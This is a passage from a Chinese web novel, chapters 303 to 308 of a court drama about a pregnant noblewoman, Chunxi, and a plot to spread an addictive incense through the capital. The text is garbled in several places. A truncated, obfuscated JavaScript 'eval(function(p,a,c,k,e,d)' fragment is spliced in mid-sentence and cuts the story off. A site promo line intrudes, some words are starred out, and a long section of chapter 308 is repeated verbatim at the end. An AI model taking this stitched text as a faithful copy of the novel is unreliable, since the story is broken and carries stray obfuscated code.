其实她也没怎么长胖,只是最近被拘着没怎么外出活动,脸看着圆润了些,但她气色红润,稍微胖一点,更显华贵大气。 春喜弯眸道:“公主的月份比我大一点儿,以后比我早一些生,可以早一些轻松啊。” 这话恒阳公主爱听,她现在就是天天盼着早点儿生完早点儿轻松呢。 “这小兔崽子最近开始踢我了,你有没有感觉到被踢?而且夜里总是要起夜,腰还疼,烦死了。” “这个月份有胎动才是正常的,我不仅起夜,偶尔肚皮还发痒呢。” “对对对。” 听到相同的症状,恒阳公主立刻附和,然后大吐苦水。 虽然公主府多的是人听她抱怨安慰她,但只有跟春喜说这些的时候她才觉得开心。 阿喜和她一样也怀着孕呢,她们有一样的体会,阿喜不会觉得她矫情、小题大做。 她是真的因为这些小事而苦恼着。 春喜耐心地跟恒阳公主聊着天,聊完,恒阳公主身心舒畅,这才关心起其他来:“听说沈家人把沈清迟的女儿硬塞给你养了,可要本公主帮你主持公道?” 清远侯被削爵,连府邸都被没收,沈家人想投奔沈清渊,春喜没给他们开门,只把那孩子留在府里。 听到恒阳公主的话,春喜摇头道:“多谢公主,不过我是愿意养着那孩子的。” “沈清迟那样害你,你还愿意帮她养孩子,阿喜你这真是心软啊,要是有人敢唆使别人绑架本公主,别说帮忙养孩子,本公主一定斩草除根,片甲不留!” 恒阳公主说着做了个抹脖子的动作,春喜没有戳穿恒阳公主是嘴硬心软,只道:“她毕竟是我夫君的妹妹,而且她性子怯懦,之前那些事,也不一定全都是她自己想做的。” 听到这话,恒阳公主凑得越发近了,低声八卦:“是云晚棠撺掇她的对不对?本公主早就觉得她这个人有问题,她人都没在瀚京,和驸马的传言却十年都不曾断绝,回来这几个月更是生了不少事端,但偏偏找不到确凿的错处,每次看到她本公主就莫名觉得很憋屈。” 恒阳公主刚说完,一个软软糯糯的粉团子就跑了过来:“仙女姐姐,玥儿终于又见到你啦,玥儿好想你呀。” 云晚棠站在凉亭外没敢贸然进入,只轻声呵斥:“玥儿,别胡闹,快向公主行礼。” 玥儿闻言,立刻福身:“玥儿拜见公主殿下。” 恒阳公主才说了云晚棠的坏话,这会儿看到乖乖巧巧的玥儿,不免有些心虚,连忙开口:“不必多礼,快起来吧,今日府里有很多好吃的,你想吃什么尽管说。” “能见到公主殿下玥儿就很开心了,玥儿没什么想吃的,”玥儿说完目光新奇地看着恒阳公主的肚子,片刻后说,“公主殿下,你肚子里的小弟弟在动诶!” 恒阳公主表情微僵。 她不想生儿子,儿子一点儿都不贴心,以后还会娶个儿媳妇回来气她,生女儿最好了。 她可以给女儿买好多好看的衣裳首饰,等女儿长大了,也给女儿招个赘婿,这样女儿不用去婆家受苦,还能一直陪着她。 恒阳公主沉默着,没有像上次那样夸玥儿,还给玥儿奖赏,玥儿眼眸微转,又看着春喜说:“夫人,你肚子里的好像是个小妹妹。” 恒阳公主:“……” 什么叫旱的旱死,涝的涝死? 阿喜都已经白得了一个女儿了,为什么还能再生一个女儿? 恒阳公主情绪上头,一时控制不住,竟是红了眼落下泪来。 一旁的嬷嬷婢女连忙上前劝慰,玥儿吓得跑回云晚棠身边。 好奇怪。 娘不是说公主会奖赏她一颗更大更亮的东珠吗,怎么公主殿下听到肚子里的是儿子反而哭了? 玥儿正疑惑不解,胳膊突然被掐了一下,她哇的一声大哭起来:“公主,对不起,玥儿说错话了,求公主不要杀我。” 第304章 又卖断货了 玥儿一哭,立刻引来众人围观,云晚棠护着玥儿跪下来磕头求饶。 众人不知道发生了什么事,还以为恒阳公主因为云晚棠故意要为难一个小孩子。 玥儿一哭就不乖巧了,那声音让恒阳公主感觉很刺耳,而且云晚棠磕头磕得恒阳公主心里也很烦。 她只是想到要生儿子忍不住难过哭一哭,又没有怪罪玥儿的意思,云晚棠跪下磕头是什么意思? 她看起来难道很凶残,是连小孩子说错一句话都会大发雷霆的人? 委屈上头,恒阳公主哭得更凶。 驸马及时赶来,将恒阳公主护入怀中,春喜迅速把前因后果说了一遍。 温砚书听完命人把云晚棠扶起来,又对围观的人解释:“公主只是眼睛里不小心进了东西,没有发生什么大事,也没有要怪罪谁的意思。” 温砚书一开口,公主府的下人立刻跟着帮忙澄清。 温砚书说完又看向云晚棠:“小孩子不懂事,被吓到很正常,李夫人不分青红皂白就跪地求饶是什么意思?” 温砚书的表情和语气都很不好,云晚棠抱着玥儿柔声辩解:“请驸马恕罪,公主是因为臣妇的女儿才哭的,公主如今怀着身孕,不能有任何闪失,臣妇只是害怕……” “害怕什么?我家公主虽不喜夫人,但上次太傅府宴请,公主还赏了一颗东珠给夫人的女儿足见公主心胸宽广,并不会因为夫人就对你的女儿有什么偏见,夫人素有美名在外,原来竟是如此以小人之心度他人之腹的人吗?” 温砚书直接打断云晚棠,并把东珠之事说出来。 东珠产量极少,小小一颗便价值上百两,供给皇室的东珠品质皆是上乘,价值更高,恒阳公主赏了玥儿东珠,那是真的很喜欢这孩子了。 恒阳公主并未动怒,云晚棠就跪下磕头求饶确实不大妥当。 感受到众人的目光,云晚棠心头一沉,然而不等她辩解,温砚书又继续问:“李夫人的女儿方才到底对公主说了什么?” 玥儿已经止了哭,闻言软软糯糯地回答:“我没说别的,只是说公主肚子里的小弟弟在动。” 温砚书追问:“你为什么要说这样的话,你能看到?” 面对玥儿,温砚书的语气仍是严肃的。 玥儿从来没有遇到过对自己这么凶的大人,吓得往云晚棠怀里躲了躲。 她当然看不到公主肚子里怀的是妹妹还是弟弟,是娘教她这么说的,以前她这样说,那些大着肚子的人都会很喜欢她。 但如果是娘不喜欢的人,她就会故意说对方肚子里的是妹妹。 “驸马,玥儿是好意。” 云晚棠辩解了一句,温砚书却不管玥儿到底是好意还是恶意,只揪着一点:“所以夫人,令千金到底是不是见常人所不能见?” “……” 云晚棠不敢应声。 她眼下当然可以撒谎糊弄过去,但这种谎言太容易被揭穿了,而且会惹来很多祸端。 温砚书的脸色更冷了些,他朗声道:“我与公主成婚多年才终于有了孩子,不管这个孩子是男是女,我和公主都满心期待他的到来,日后更会倾尽所有去疼他爱他,李夫人的女儿既然没有什么特殊能力,就不该凭空捏造,给别人带来困扰。” 玥儿虽然不能完全听懂温砚书的话,但也知道他是在当众责怪自己,嘴角一撇,便又哭起来。 温砚书一点儿没给云晚棠留面子,冷声道:“令千金吵到大家了,劳烦李夫人把她带回家,好好教导。” 众人:“……” 原来驸马的嘴这么毒的吗?之前怎么从来没有发现? 春喜也被驸马这一番话惊到。 之前她只觉得驸马长得好看,没想到驸马怼起人来,完全不输她家大人啊。 云晚棠之前几次败在春喜手里,人缘有所下滑,最近好不容易靠着两个孩子又拉回一点儿好感,这会儿又全都被温砚书踩在了脚下,简直气得要死。 但玥儿第一次遭受挫败,又被温砚书下了逐客令,耍起小性子非要回家,她只能先带着玥儿离开。 母女俩离开后,众人也都散开,温砚书直接把恒阳公主抱起来,对春喜说:“公主的妆花了,我带公主去收拾一下,有劳沈夫人帮忙招待一下。” 春喜连连点头:“公主放心,我会照看好这里的。” 恒阳公主的情绪已经平复下来,她没想到自己会因为一句话突然失控,有些不好意思面对温砚书,低声要求:“我自己能走,放我下来。” 温砚书充耳不闻,径直抱着恒阳公主去往主院。 两人走后,花园里顿时热闹起来,所有人都忍不住讨论刚刚的事。 难怪恒阳公主突然愿意生孩子了,原来是驸马转性了啊,看驸马刚刚对云晚棠的态度,两人之间那是一点儿暧昧都不可能有的。 也不知道公主用了什么法子,竟把相看两厌的驸马变成了宠妻狂魔,难道是跟曹春喜学的驭夫术? 这般想着,众人不由得偷偷打量春喜。 春喜感受到了周围的目光,却没有理会。 恒阳公主一走,她脑子里又不自觉想起销魂香来。 无忧阁这几年的生意做得很大,今日在场的这些世家夫人说不定就有去过无忧阁的,这些夫人现在看着好好的,若是沾染上销魂香,一旦瘾发,不知道会变成什么样。 春喜想得有点出神,这时耳边传来交谈声:“下个月春闱就要放榜了,你家小五今年能中吗?” “他去年根本没有好好看书,临时抱佛脚看了几天,能中就怪了,不过最近他得了一样提神的香,念书倒是用功了几分。” 又是香。 春喜眉心微皱,已有人帮她追问。 “什么香?在哪儿买的,我也派人买回来给我家那两个不成器的用用看。” “就叫醒神香,在城东凝香阁买的,不过有点贵,小小一盒就要十两银子。” “这香要是真能催人上进,十两算什么,就是十两金我也买!” 才十两银子,不是销魂香。 春喜松了口气,但她觉得好奇,等到生辰宴结束,还是坐车去了趟凝香阁。 到了以后却被告知,这醒神香已经卖断货了。 第305章 幕后之人是瑛王 “想买这醒神香的人实在是太多,店里第一批货已经卖完,第二批货预计要十日后才能到,不过量也不多,夫人若是想买,到时早些派人来排队吧。” 凝香阁人满为患,伙计只说了这么一句话,就又去招待其他人了。 阿鲤立刻道:“夫人放心,十日后凌晨小人就拿着凳子来这儿排队,保证帮夫人买到此物。”春喜点点头。 虽然这醒神香和销魂香价格相差很大,不大可能是一种东西,但卖得如此紧俏,春喜还是想买来确认一下,看看其中有什么奥妙。 这般想着,春喜准备离开,刚上了马车,便看到岚舒带着两个人,摇着扇子,溜溜达达地朝凝香阁走了过来。 岚舒今日穿了一身青色衣裳,这衣裳还算低调,手里拿的却是一把花开富贵的扇子,惹眼极了。 岚舒没有注意到春喜,让人开道进了凝香阁,直接拍下千两银票:“你们凝香阁第二批提神香本公子都要了。” 原本还打算排队买香的众人听到这话立刻不满地嚷嚷起来。 他们可是先来的,而且还交钱预定了货的。 掌柜的也觉得为难,岚舒却不与这些人争辩,又拿了一沓银票出来:“我说了,这些货本公子都要了。” 岚舒的财力实在雄厚,给的价也比原本的定价高出好多倍,掌柜的到底不敢得罪,只好让伙计把其他客人劝退,与岚舒签下契约。 “公子放心,十日后小人一定把货完好无损地交到公子手上。” 面对大主顾,掌柜笑得有些讨好,岚舒挑眉:“我一口气买了这么多,掌柜的不先拿点儿货给我验验?” 岚舒签完契约才说要验货,这诚意是很足的了。 掌柜的犹豫片刻,到底还是拿了几盒提神香给岚舒:“这几盒是我打算留给家中子侄的,公子放心,第二批货保证和公子现在拿在手上的是一样的品质。” 岚舒低头嗅了嗅,而后露出一抹妖冶的笑:“好,我静候掌柜佳音。” 收好香,岚舒带着人出了凝香阁,春喜本想从岚舒手里买一盒提神香,然而不等她下马车去找岚舒,卫家的马车就停在岚舒面前。 马车帘子掀开,露出卫凌泽森冷阴郁的脸:“上车。” 卫凌泽的声音很冷,明显裹挟着怒气。 岚舒倒是神情不变,轻快打招呼:“卫大公子,好久不见,你回来啦~” 说话间,岚舒上了马车,只是不等他坐稳,脖子就被卫凌泽掐住。 放下的车帘隔绝了外面的世界,狭小的空间被杀气填满。 岚舒被掐得喘不上气,脸很快憋得发青,濒死之际,他听到卫凌泽森寒无比的声音:“给我解药。” 岚舒艰难点头。 给给给,要什么都给,但你得先松手让我说话才行啊。 岚舒额头青筋鼓胀,脸色泛青,瞧着痛苦极了,卫凌泽却不解气,恨不能将他千刀万剐。 之前在翁州,销魂香用完了,刚开始还好,过了三日,卫凌泽就变得嗜睡没有精神,而且浑身开始有种说不出的痒。 那痒不是源自皮肉,而是从骨缝里发出来的。 随着时间加长,痒意也会愈演愈烈,到了最后,他甚至无法下床走动,只能躺在床上被这痒意折磨得生不如死,满脑子都想着要销魂香。 那次之后,卫凌泽才明白,这销魂香并不是什么能让人快活的好东西,而是会把他变得人不人鬼不鬼的毒物! 他在冬猎时输了比试,又跟禾儿和离,已沦为瀚京的笑柄,可他还年轻,还有机会振作起来,可用了销魂香,他会彻彻底底变成废物。 只要拿到解药,他定要把岚舒大卸八块,剁成泥喂狗! 这般想着,卫凌泽终于松开手。 “咳咳咳!” 岚舒剧烈的咳嗽起来,喉咙痛得厉害,嘴里甚至尝到了血腥味儿。 卫凌泽并不理会岚舒的狼狈,把手伸到他面前,冷声催促:“解药。” 岚舒不想被再掐一次,没敢装糊涂,如实道:“这销魂香是瑛王给小人的,小人这里确实没有解药,但小人可以带公子去找瑛王。” 瑛王? 卫凌泽顿时皱紧眉头。 他想到那一次被春喜引诱到云山寺捉奸,瑛王当时就和岚舒还有萧夜辰他们在一起。 难道那次表面上是曹春喜的计谋,其实真正的幕后主使是瑛王? 卫家和瑛王来往不多,应该没什么过节,瑛王如此处心积虑地算计他,如今更是让他染上销魂香,莫不是想以此控制他,让整个卫家都为他所用? 卫凌泽越想越心惊,只觉得自己之前被一叶障目,净想着不能让曹春喜离开,却失去了最基本的危险感知。 岚舒不知道卫凌泽在想什么,他稍微喘过气来一点儿便继续道:“小人身份低微,断然不敢谋害公子,更没有本事弄来销魂香,公子随我去瑛王府一趟,便什么都明白了。” 片刻的僵持后,卫凌泽下令,马车缓缓朝瑛王府驶去。 两人来得不巧,王府里,瑛王正在宴客欣赏歌舞。 瑛王对卫凌泽的不请自来很是惊讶,但还是让下人加了碗筷让卫凌泽入席就坐. 岚舒来到瑛王身边,低声跟他说了大概的情况。 听到卫凌泽染上了销魂香,瑛王恶狠狠地剜了岚舒一眼:“本王让你把香卖给无忧阁那些后宅蠢妇,谁让你把香卖给卫凌泽的?” 岚舒缩了缩脖子,露出脖子上狰狞可怖的掐痕,委屈道:“是卫公子自己非要来无忧阁找乐子的,小人要是区别对待,卫公子说不定早就劈了小人,而且这销魂香不是好东西吗,为什么不能卖给卫公子?” 瑛王:“……” 蠢货!他之前为什么会觉得这个蠢货有本事? 瑛王悔不当初,匆匆送走宾客,扬手先给了岚舒一巴掌。 卫凌泽早已按捺不住,大步走到瑛王面前:“没想到王爷才是无忧阁的幕后东家,之前真是我眼拙了,王爷先是处心积虑让我沦为笑柄,如今又让我染上销魂香,不知卫家与王爷究竟有什么深仇大恨?” 瑛王:“……”??? 这么多事你能都算在本王一个人头上? 第306章 机会给你你都不中用 “卫公子,你说话可得讲凭证,本王与你无冤无仇,为什么要害你?” 瑛王不能说无忧阁的幕后主子是太子,只能先否认害人之事,他刚说完,卫凌泽就冲上来揪住他的衣领:“这销魂香会让人上瘾,瘾发之时如千万只蚂蚁在骨头缝里爬,叫人生不如死,王爷故意让人给我用这香,不就是想借此操控我吗?” 卫凌泽心中怒火熊熊,对瑛王也不客气,瑛王的脖子被勒住,王府的护卫立刻现身将卫凌泽团团围住。 卫凌泽见状,越发生气,直接把瑛王掼到墙上,用胳膊死死抵住。 瑛王养尊处优,可不像岚舒这样皮糙肉厚,被卫凌泽这么一抵,顿时翻起白眼。 “王爷……” 其中一个护卫大喊一声,举着剑就要冲上来,岚舒连忙把人拦下:“别冲动,王爷和卫大公子之间只是有点误会,说清楚就好,不然事情闹大了咱们谁都担待不起。” 是了,卫凌泽虽然被停职,但还是卫家的大少爷,万一有个好歹,瑛王可不会顾念什么救命之恩,肯定会把他们送去卫家谢罪。 冲到最前面的护卫默默退了回去。 卫凌泽并未在意这些,只逼问瑛王:“解药在哪儿?王爷今日若不肯给我解药,我不介意跟王爷同归于尽!” 瑛王的脖子被卡得死死的,呼吸都困难,更别提说话了。 岚舒劝住了护卫,又扭头劝卫凌泽:“卫大公子,你之前不是很喜欢销魂香的吗,这销魂香又不是毒,何来解药?” 岚舒的脖子被掐伤,这会儿的嗓子嘶哑难听,说出来的话更像是某种魔咒,宣告卫凌泽已一脚踏入炼狱,再无回头之路。 卫凌泽心中越发恼怒,压着瑛王脖子的手越发加重力道:“王爷到底给不给解药?” 瑛王的脸由红转青,眼看就要不行了,那股熟悉的痒意又从骨头缝缠上了卫凌泽。 自从发现销魂香有问题,卫凌泽便开始减少用香的次数和时间,试图戒掉它,然而却一点儿效果都没有。 这瘾发作的时间越来越短,且一次比一次难受。 这一次不过片刻,痒意就席卷全身,卫凌泽开始冒冷汗,手脚也开始变得虚软无力。 察觉到卫凌泽的变化,瑛王猛然推开他。 卫凌泽被推得踉跄几步,跌倒在地。 “来人,快把他拿下!” 瑛王飞快下令,然而脖子刚刚被卫凌泽压得太狠,只发出了很细弱的声音。 卫大公子,这机会都送你眼前了,可你是真没用啊…… 岚舒在心里惋惜了一番,飞快上前扶住瑛王,同时换上焦急之色:“王爷,您没事吧?小人方才都担心死了。” 岚舒声音沙哑,跟哭丧似的。 瑛王没好气地踹了他一脚。 要不是这个蠢货把销魂香卖给卫凌泽,还把卫凌泽引来王府,怎么会发生今日这样的事?而且刚刚明明护卫要上前救他,还被这个蠢货拦了下来。 他刚刚虽然喘不上气,耳朵可没聋。 岚舒被踹得摔了个四脚朝天,不过他似乎早就习惯被如此对待,灵活地在地上一滚,便又飞快起身来到瑛王身边,他压低声音道:“王爷,小人今日带卫大公子前来,其实是有一计可以助王爷日后财路畅通,高枕无忧。” 瑛王不信岚舒有什么好计策,他咬着牙,从齿缝里挤出一句:“你说,要是说得不好,本王今日定要让人砍了你的脑袋!” 岚舒并不害怕,飞快拿出刚刚在凝香阁买的提神香递给瑛王:“王爷别急,您先闻闻这个。” 岚舒说着打开盒子,用手把味道扇向瑛王,同时开口:“这是凝香阁最近卖得很火的提神香,只要十两银子一盒,味道跟王爷让小人卖的销魂香一模一样,连效果也相差无几。” 瑛王本来还不以为意,听到后面,伸手抢过提神香细细地查看起来。 销魂香也不是瑛王找人制的,而是李怀景给他的,李怀景说这销魂香的香料极其罕见难得,虽能让人飘飘欲仙,却不能大量售卖,只能高价卖给瀚京的贵人用。 这些年李怀景私下没少给瑛王送东西谈买卖,瑛王从中得了不少好处,所以对李怀景颇为信任。 这销魂香是李怀景找人制作的,瑛王用过觉得确实很好,就让岚舒在无忧阁售卖,除了让给无忧阁的一层利,剩下的瑛王分六成,李怀景只拿四层。 瑛王对自己拿大头的分利方式很满意,而且从前期销量来看,这确实是个非常赚钱的买卖。 可销魂香才卖没多久,宝华郡主就死了,卫凌泽也找上门来,如今还出现在一模一样,但只卖十两银子一盒的提神香,这事怎么看都很蹊跷。 瑛王肃了脸色,岚舒继续道:“小人已经查过了,凝香阁是太傅府大夫人的陪嫁铺子,这提神香是太傅府四少爷李继贤拿去让掌柜卖的,不过短短几日,他们就卖了好几十斤的货了,王爷,那位李大人怕是对您有二心啊。” 最后一句,岚舒说得意味深长,但他也只说这一句,并不继续往下说了。 瑛王的脸色变得很是难看。 李怀景说销魂香里有一味香料极为难得,瑛王到现在一共也只得了五斤香,太傅府的铺子却一口气卖了几十斤,分明是李怀景骗了瑛王,自己捏着大批香料等着坐上市舶使的位置后赚个盆满钵满呢。 瑛王之前还想帮李怀景除掉沈清渊,如今看来李怀景是拿一点蝇头小利,把瑛王当枪使呢。 想通前后因果,瑛王气得胸口急剧起伏,这时岚舒又在他耳边低语。 “王爷,卫大公子是和李继贤一起去的翁州,他却什么都不知道,看来太傅府并未把他当自己人,如今卫大公子求上门来了,王爷何不好好拉拢卫大公子,把这香垄断在自己手里,日后卫家还能帮王爷保驾护航,如此王爷不就能高枕无忧了?” 瑛王方才还觉得岚舒蠢笨如猪,这会儿又觉得岚舒还有点儿用。 瑛王很快平复了心情,抬眸看向蜷缩在地上的卫凌泽。 与此同时,春喜得到阿鲤的汇报,皱紧眉头:“你说卫凌泽跟着岚舒去了瑛王府?” 第307章 有本事你过来啊 沈清渊一回家,春喜第一时间跟他分享了自己在公主府得到的消息。 不管是凝香阁突然卖断货的醒神香还是岚舒带着卫凌泽去找瑛王,春喜都觉得很奇怪。 沈清渊听完倒是没什么表情,只严肃道:“我不是让夫人安心养胎,不要再管这件事了吗? “我就是觉得好奇去看了看,万一有什么线索说不定还能帮上夫君呀。 春喜解释,沈清渊横了她一眼,沉沉道:“这几日太子殿下都在让太医院的御医仔细研究销魂香,这种香里有一味香料十分特殊,御医翻遍了医书都没能找到记载,这种香料极有可能来自越西,背后不知藏着怎样的阴谋和危险,太子殿下会加派人手彻查此事,我这么说夫人明白了吗? 能说这么多,沈清渊已经是破例了。 听出事态严峻,春喜神情一凛,连忙点头:“我明白了,以后我一定好好在家养胎,不让夫君担心,夫君在外走动也一定要注意安全。 春喜没再出门探查这件事,只给公主府和萧家都递了信,提醒他们销魂香和醒神香可能有问题。 信送出去第二日,安安就病了。 安安是沈清迟的女儿,春喜和沈清渊已经决定要养她,给她取名沈佑安,希望她娘在天上能保佑她平安健康。 安安之前都是沈金花和她婆家侄女一起照顾的,清远侯被削爵,连府邸都被没收,沈金花想以照顾安安的名义继续扒着春喜和沈清渊,但春喜没让她跟着,另外又给安安寻了奶娘照顾,自己平日也和李嬷嬷章嬷嬷一起帮忙照看着。 安安生来就体质弱,吐奶、发热是常有的事,但这次病得特别厉害,天还没亮就发起高热,李嬷嬷她们和奶娘想了好多办法都没能把烧降下来。 春喜果断让下人去回春堂请大夫。 “我们会尽力照顾安安小姐的,夫人今天一早就被吵醒了,还是去补会儿觉吧,等回春堂的大夫到了,安安小姐一定会没事的。 李嬷嬷温声劝说,春喜摇摇头:“我不困,等大夫来看过我才安心。 亲娘不在了,熟悉的奶娘也被换掉,安安很没有安全感,相处了一段时间后,她对春喜很是依赖,经常睡着了都紧紧抓着春喜的手不放。 春喜已经能感受到腹中孩子的胎动,对安安也有了感情,安安不好,她心里也不好受,总是牵挂着。 春喜坚持,李嬷嬷也没再劝,继续用心照顾安安。 身体不舒服,安安一直在哭,春喜听得揪心,忍不住让人去催大夫。 你的朋友正在书荒,快去帮帮他吧 她第三次派人去催时,阿鲤匆匆来报:“夫人,太傅府四少爷来了,他把回春堂的大夫拦在门外,不许大夫进来。” 安安嗓子都哭哑了,李继贤竟然还拦着大夫不让进? 春喜皱紧眉头,她一边朝外走一边冷声吩咐:“去找虎叔,带几个身手好的护院来,先让大夫进来给安安看病,再抬一把太师椅来。” “是!” 阿鲤应声而去。 虎叔的动作很快,春喜刚走到门口,虎叔就带着护院到了。 府门外,李继贤坐在马车上左拥右抱,娇娘和媚娘正在给他剥葡萄,他也带了不少人来,回春堂的大夫被死死拦着,脸上还带了淤青。 春喜出门看到的就是这样一幕,她没有跟李继贤废话,直接示意虎叔抢人。 李继贤带的人虽然多,但完全不是虎叔的对手,一阵惨叫声后,大夫直接被虎叔抢了过来。 大夫进了府,春喜安心了些,阿鲤在这时抬了太师椅来,还很贴心地放了软垫和靠枕。 春喜舒舒服服往太师椅上一坐,才掀眸看向李继贤。 李继贤本来是想来要孩子耍威风的,结果还没开始,带来的人就被打了个落花流水,李继贤脸上挂不住,掀开车帘怒道:“沈夫人理直气壮地抢了别人的孩子不说,还纵容下人伤人,全瀚京恐怕也找不到比沈夫人更剽悍的泼妇了。” 李继贤来得招摇,早就吸引了一大批看热闹的人,听到他骂春喜泼妇,围观的人纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他从这两名女子身上嗅到了亡命之徒的气息。 这样的人,怎会以色侍人? 虎叔敏锐地察觉到不正常,李继贤被虎叔吓了一跳,脱险之后立刻疯狂叫嚣:“曹春喜,你这个疯妇,我可是太傅府四少爷,你敢让人伤我一根毫毛,我定将你**万段!” 春喜挑眉:“猪狗不如的东西,别光顾着狗叫,有本事你过来啊。” 第308章 自求多福 春喜的话彻底激怒了李继贤,他对着娇娘和媚娘命令:“给我杀了这个**!” 一声令下,娇娘和媚娘竟然真的朝着春喜飞扑而去。 护院立刻挡在春喜面前,虎叔也在第一时间拦住两人。 阿鲤当即就要拉着春喜逃跑,春喜冷静道:“我没事,快骑马去大理寺报官。” 阿鲤有些不放心:“太傅府这位四少爷像个疯子,夫人还是先避一避吧。” 春喜点头:“放心,我会先保护好自己的安全的。” 两人说话间,虎叔已经和娇娘、媚娘缠斗在了一起。 越是交手,虎叔越是觉得奇怪。 过去这些年,虎叔走南闯北,也算是见多识广,但娇娘和媚娘的招式他却从未见过。 难道她们不是昭陵人? ** 萧夜辰终于回了瀚京,沈清渊被太子叫来议事。 东宫里,所有人噤若寒蝉,地上有摔碎的杯盏,萧夜辰跪在地上,太子面色冷寒,气氛冷凝压抑的可怕。 沈清渊刚刚站定,便听到萧夜辰说:“越西有一种植物名为忘忧草,少量使用有镇痛麻醉之效,但如果使用过多,会让人上瘾,一旦瘾发,浑身如同万蚁啃食,生不如死。” “前翁州州府李怀景在翁州买地种了大量的忘忧草,并且制成香料,以不同的名字不同的价格销往各地,如今翁州、禹州还有丽州三地散播最为广泛,无数人因此家破人亡,甚至连军中都被波及。” 殿中安静极了,萧夜辰的声音显得格外的冷。 沈清渊神情肃穆。 发现销魂香会让人上瘾的时候,他就有了不好的预感,现在听到萧夜辰的话,他还是有些毛骨悚然。 忘忧草产自越西,如今却在翁州大量种植,并且制成香料运往各地售卖,说明越西人早有计划。 一旦这些香料泛滥开来,昭陵将无百姓耕种,更无精锐可以抵御外敌。 越西不用费一兵一卒,就能倾覆昭陵。 这计实在是太毒了! 等萧夜辰说完,沈清渊继续道:“李怀景的侄儿李继贤前不久去了一趟翁州,回来后带了一种名叫醒神香的东西,在他母亲的陪嫁铺子打着能催人奋进的名号大量售卖给读书人,根据调查,这次的货高达几十斤,已有近千人买过。” 听到这个数字,太子只觉得触目惊心,可惜茶盏已被他摔碎,他只能气得拍桌:“好一个李怀景,他这是通敌叛国、草菅人命!” 沈清渊还保持着冷静,他 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 赵氏飞快在心里想了一遍说辞,软着声开口,然而沈清渊根本没有理会她,直接扭头去了牢房。 牢里,李继贤还在叫嚣:“曹春喜那个**壮得跟头牛似的,身边还有好多高手保护,我的人连她一根头发丝都没有碰到,你们现在帮着她一起整我,等我出去了,我连你们也不会放过!” 李继贤边说边狠狠用脚踹牢门。 看到沈清渊,他并不像赵氏那样觉得心虚,反而故意挑衅:“哟,这不是沈大人嘛,你垮着脸做什么,难道曹春喜真的**?” 最后一句话,李继贤说得像是诅咒。 沈清渊没有回答他,让狱卒打开牢门。 李继贤顿时勾唇笑起:“我就说嘛,曹春喜就是无病呻吟,大理寺怎么可能定我的罪,沈大人该不会是亲自来跟我道歉,求我出去的吧?” 李继贤说完笑出声来,然而他只笑了一下,就被沈清渊一脚狠狠踹到墙上。 不等他反应过来,沈清渊又飞快上前,一脚踩断他的右手。 沈清渊出手太快,直到听到李继贤手骨被踩断的声音,狱卒才反应过来上前劝阻:“沈大人,太傅府大夫人毕竟还在外面等着呢,你不可以动用私刑啊。” 沈清渊没有看他们,抬手亮出一块金令:“陛下有一桩密案交由本官调查,李四公子是关键嫌疑人,现在他归本官管。” 狱卒:“……” 李四公子,你还是自求多福吧。 继续道:“殿下,微辰觉得眼下最重要的事是及时禀报陛下,追根溯源将这些香料尽数销毁,以免有更多人被波及,另外派人去军中查看情况,确定染瘾将士的人数,及时调配兵力补上,以免越西突然发起战事。” 太子自然知道沈清渊是对的,但无忧阁也被卷入其中,他多少有些责任,不知道父皇和朝臣知道以后会对他有什么看法。 看出太子的迟疑,沈清渊一掀衣摆跪下:“人无完人,金无足赤,微臣始终相信,殿下日后定然是千古明君,不管日后如何,微臣定誓死追随殿下。” 沈清渊说完重重地磕了个头。 萧夜辰也跟着磕头道:“草民愿意投军,即刻前往军中,若越西胆敢进犯,草民定战至最后一刻!” 听完两人的话,太子下定了决心,他沉沉道:“好,本宫这就去向父皇请罪!” 直到夜幕降临,沈清渊才从宫里出来。 没等他上马车,阿鲤就冲过来:“大人,今天太傅府四公子来**,现在夫人还在大理寺呢。” 沈清渊面色一沉,快步上了马车,命车夫赶往大理寺。 大理寺里,春喜喝完一副安胎药,又躺在床上虚弱地哼哼起来。 赵氏在门外叫嚷:“曹春喜,我知道你没事,你别装了,你要什么条件出来跟我谈,你这样躲着不敢见人肯定是心里有鬼!” 春喜不想浪费口舌,捂住耳朵,翻身寻了个更舒服的姿势。 好多人都看到了,她可是差点儿被李继贤的人一刀子当场捅死,虽然她和腹中孩子运气好死里逃生,但光天化日之下,李继贤命人杀害三品大员的夫人是不争的事实。 必须严惩不贷。 不然今天这人敢杀她,明天就敢杀上金銮殿去。 早上确实没睡够,伴着赵氏喋喋不休的声音,春喜竟然睡了过去。 与此同时,沈清渊踏进大理寺。 原本理直气壮的赵氏看到他后陡然失声。 沈清渊一身的气息实在冷煞,像是要**,赵氏心头顿时不安起来。 “沈大人,今日之事是个误会……” 